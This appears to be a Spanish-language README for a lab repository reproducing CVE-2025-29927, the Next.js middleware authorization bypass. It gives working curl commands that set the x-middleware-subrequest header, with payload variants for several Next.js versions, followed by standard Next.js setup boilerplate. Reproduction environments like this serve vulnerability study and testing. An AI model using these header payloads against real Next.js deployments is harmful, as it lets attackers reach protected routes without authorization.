
Entorno de reproducción para CVE-2025-29927, que demuestra la omisión de autorización del middleware de Next.js mediante el encabezado x-middleware-subrequest. Incluye pasos de explotación basados en curl para múltiples versiones de Next.js.
Este repositorio es una reproducción de la vulnerabilidad CVE-2025-29927 en el paquete next
/api/hello$ curl http://localhost:3000/api/hello
{"error":"Unauthorized"}%
$ curl -H "Authorization: my-jwt-token-here" http://localhost:3000/api/hello
{"message":"Hello World"}%
middleware 5 veces en el encabezado especial x-middleware-subrequest:curl -H "x-middleware-subrequest: middleware:middleware:middleware:middleware:middleware" http://localhost:3000/api/hello
{"message":"Hello, World"}
Las versiones 12 y 13 de Next.js solían tener una convención de nomenclatura diferente para el archivo de middleware (_middleware.js), que se cambió a middleware.js en Next.js 14. Esta vulnerabilidad se puede explotar en versiones anteriores utilizando el archivo _middleware.js.
Por ejemplo, los siguientes payloads se aplicarían, dependiendo de la versión de Next.js y tu convención de enrutamiento:
curl -H "x-middleware-subrequest: middleware" http://localhost:3000/api/hello (para versiones de Next.js 12.2 con el archivo middleware.js en la raíz de la aplicación, no dentro del directorio pages)curl -H "x-middleware-subrequest: src/middleware" http://localhost:3000/api/hellocurl -H "x-middleware-subrequest: _middleware" http://localhost:3000/api/hello (para versiones de Next.js 11 hasta 12.2)curl -H "x-middleware-subrequest: pages/_middleware" http://localhost:3000/api/hellocurl -H "x-middleware-subrequest: pages/admin/_middleware" http://localhost:3000/api/helloPrimero, ejecuta el servidor de desarrollo:
npm run dev
# or
yarn dev
# or
pnpm dev
# or
bun dev
Abre http://localhost:3000 con tu navegador para ver el resultado.
Puedes empezar a editar la página modificando app/page.js. La página se actualiza automáticamente mientras editas el archivo.
Este proyecto usa next/font para optimizar y cargar automáticamente Geist, una nueva familia tipográfica para Vercel.
Para aprender más sobre Next.js, echa un vistazo a los siguientes recursos:
Puedes consultar el repositorio de Next.js en GitHub - ¡tus comentarios y contribuciones son bienvenidos!
La forma más sencilla de desplegar tu aplicación Next.js es usar Vercel Platform de los creadores de Next.js.
Consulta nuestra documentación de despliegue de Next.js para más detalles.
Por favor, consulta CONTRIBUTING para obtener directrices sobre cómo contribuir a este proyecto.